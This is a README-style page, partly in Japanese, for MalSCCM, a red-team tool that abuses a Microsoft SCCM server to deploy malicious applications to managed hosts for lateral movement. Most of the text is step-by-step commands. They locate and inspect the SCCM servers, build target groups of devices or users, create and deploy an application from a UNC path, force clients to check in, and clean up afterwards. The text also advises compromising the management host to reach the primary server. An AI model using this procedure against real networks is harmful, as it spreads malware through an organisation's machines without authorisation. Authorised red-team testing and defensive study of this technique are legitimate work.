nettitude/malsccmSCCMサーバーを悪用し、管理ホストに悪意のあるアプリケーションを展開して、ラテラルムーブメントやレッドチーム操作を行う。
このツールを使用すると、ローカルまたはリモートのSCCMサーバーを悪用して、管理下にあるホストに悪意のあるアプリケーションを展開できます。このツールを使用するには、現在のプロセスがSCCMサーバーに対して管理者権限を持っている必要があります。
通常、SCCMの展開では、管理サーバーとプライマリサーバーが同じホストに存在します。その場合、locateコマンドから返されたホストをプライマリサーバーとして使用できます。
そうでない場合は、locateで返された管理ホストを侵害し、そのホストで再度locateを実行してプライマリサーバーのホスト名を取得する必要があります。それを取得し、管理者アクセスがあれば準備完了です！
ツールの使用方法の詳細については、以下のブログを参照してください。
PowerSCCM (https://github.com/PowerShellMafia/PowerSCCM) に多大な謝意を表します。本ツールはこれを基にしています。@harmj0y, @jaredcatkinson, @enigma0x3, @mattifestation の尽力なくしては実現しませんでした。
Commands listed below have optional parameters in <>.
Attempt to find the SCCM management and primary servers:
MalSCCM.exe locate
Inspect the primary server to gather SCCM information:
MalSCCM.exe inspect </server:PrimarySiteHostname> </all /computers /deployments /groups /applications /forest /packages /primaryusers>
Create/Modify/Delete Groups to add targets in for deploying malicious apps. Groups can either be for devices or users:
MalSCCM.exe group /create /groupname:example /grouptype:[user|device] </server:PrimarySiteHostname>
MalSCCM.exe group /delete /groupname:example </server:PrimarySiteHostname>
MalSCCM.exe group /addhost /groupname:example /host:examplehost </server:PrimarySiteHostname>
MalSCCM.exe group /adduser /groupname:example /user:exampleuser </server:PrimarySiteHostname>
Create/Deploy/Delete malicious applications:
MalSCCM.exe app /create /name:appname /uncpath:""\\unc\path"" </server:PrimarySiteHostname>
MalSCCM.exe app /delete /name:appname </server:PrimarySiteHostname>
MalSCCM.exe app /deploy /name:appname /groupname:example /assignmentname:example2 </server:PrimarySiteHostname>
MalSCCM.exe app /deletedeploy /name:appname </server:PrimarySiteHostname>
MalSCCM.exe app /cleanup /name:appname </server:PrimarySiteHostname>
グループのデバイスに数分以内にチェックインを強制する: MalSCCM.exe checkin /groupname:example </server:PrimarySiteHostname>